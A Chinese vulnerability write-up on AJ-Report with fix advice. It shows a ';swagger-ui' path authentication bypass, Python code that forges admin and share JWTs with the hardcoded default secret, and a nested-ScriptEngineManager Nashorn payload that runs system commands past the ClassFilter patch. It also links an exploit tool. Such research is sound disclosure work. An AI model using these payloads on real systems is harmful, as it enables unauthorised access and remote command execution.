前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AJ-REPORT全新鉴权及远程命令修复绕过分析

AJ-REPORT全新鉴权及远程命令修复绕过分析

作者头像
亿人安全
发布2024-05-22 18:39:10
3360
发布2024-05-22 18:39:10
举报
文章被收录于专栏:红蓝对抗

原文由作者授权,首发在先知社区

https://xz.aliyun.com/t/14460

TL;DR

前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch可以绕过。另外最关键的TokenFilter中的鉴权绕过漏洞没修,其实鉴权修复了也会有默认key导致鉴权绕过的问题。文末给出了利用工具,实测好用。

漏洞分析
鉴权绕过

这个系统的接口绝大部分都需要登陆,需要绕一下。

鉴权逻辑在TokenFilter

经典通过request.getRequestURI()拿到uri,后面如果uri包含swagger-ui直接放行。

因为是拿的URI,没有参数信息所以没法用?swagger-ui绕。

但可以用;swagger-ui绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)这里会取分号作为pathParamStart

pathParamEnd这里会取/作为结尾。最后截断中间的字符串,也就是说/a;b/c最终会解析为/a/c

所以用/dataSetParam;swagger-ui/verification就能请求到后端接口了。

另一处鉴权绕过(默认key)

如果swagger-ui放行那里被修复了怎么办呢?可以看到后续会校验token

校验token类也是安吉自己写的,给jwt payload加了四个key-value pairs

代码语言:javascript
复制
public String createToken(String username, String uuid, Integer type, String tenantCode) {
    String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
    return token;
}
public String getUsername(String token) {
    Claim claim = (Claim)this.getClaim(token).get("username");
    return claim == null ? null : claim.asString();
}

重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()拿到密钥。

jwt密钥在GaeaProperties$Security类里,而setJwtSecret方法没有被调用过,因此key是默认的。

伪造jwt即可。

代码语言:javascript
复制
def getFakeToken():
    payload = {
        "type": 0,
        "uuid": "627750b8be86421d94facec7e4dba555",
        "tenant": "tenantCode",
        "username": "admin"
    }
    fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
    return fakeToken

通过校验。

光伪造token还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login路由逻辑。token的时效是1小时,如果远程一小时内没有admin

但是看到这里出现了转机,接下来会校验shareToken,如果reportCodeList.stream().noneMatch(uri::contains),也就是说uri包含reportCode的话就返回false。而shareToken是从Share-Token请求头取的。

代码语言:javascript
复制
List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
    ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
    response.getWriter().print(JSONObject.toJSONString(responseBean));
    return;
}

再看一下shareToken签名,密钥同样硬编码。

shareToken通过以下方式伪造:

代码语言:javascript
复制
def getFakeShareToken():
    payload = {
        "shareCode": 1,
        "reportCode": "/", #通用性
        "exp": 4070880000,
        "iat": 1715402146,
        "sharePassword": 1
    }
    fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
    return fakeShareToken

伪造完shareToken就可以访问接口了。

nashorn引擎执行表达式绕过

漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java中的/verification路由,可以看到会调用verification方法。

跟进verification方法,该方法调用了engine.eval

engine针对CNVD-2024-15077做了PATCH

看下diff,加了ClassFilter,过滤了命令执行的三个类。

不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:

到这里有个classFilter。调了个寂寞,还是看看怎么ban掉类的逻辑吧。

先用原版payload打一下,简单解释下,流传在网上的payload定义了verification函数是因为执行完js后会调用js中的verification函数,随后将执行结果返回。verification函数就是常规的调用java.lang.ProcessBuilder('whoami').start()执行命令。

代码语言:javascript
复制
function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('whoami').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行失败,提示找不到这个类。

打异常断点看调用栈:

代码语言:javascript
复制
classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic_L_V:-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_L3_L:-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl

都是匿名函数,还是看文档吧。

经过一番检索发现此处针对nashorn的安全过滤是JEP202:https://openjdk.org/jeps/202。

代码语言:javascript
复制
Provide a Java class-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。


Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。

A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。

如果存在类过滤器,即使不存在security managerNashorn 也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。

不过参考JEP290大概猜到JEP202也(只)是会过滤类,而不是把命令执行的类阉割了。

所以直接用套娃的方式绕就行,在里面再new一个ScriptEngineManager,然后再eval就行。

代码语言:javascript
复制
function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行命令:

别的路由

其实/dataSet/testTransform路由也会调用到engine.eval,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http请求,返回的是httpresponse

修复

主要问题在鉴权而不是 engine.eval , 应该使用 reqeust.getServletPath() 获取 URI,或者干脆把 swagger-ui 放行逻辑那里删掉。

其次需要修改jwt默认密钥。

利用工具

https://github.com/yuebusao/AJ-REPORT-EXPLOIT

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • TL;DR
  • 漏洞分析
    • 鉴权绕过
      • 另一处鉴权绕过(默认key)
        • nashorn引擎执行表达式绕过
          • 别的路由
          • 修复
          • 利用工具
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档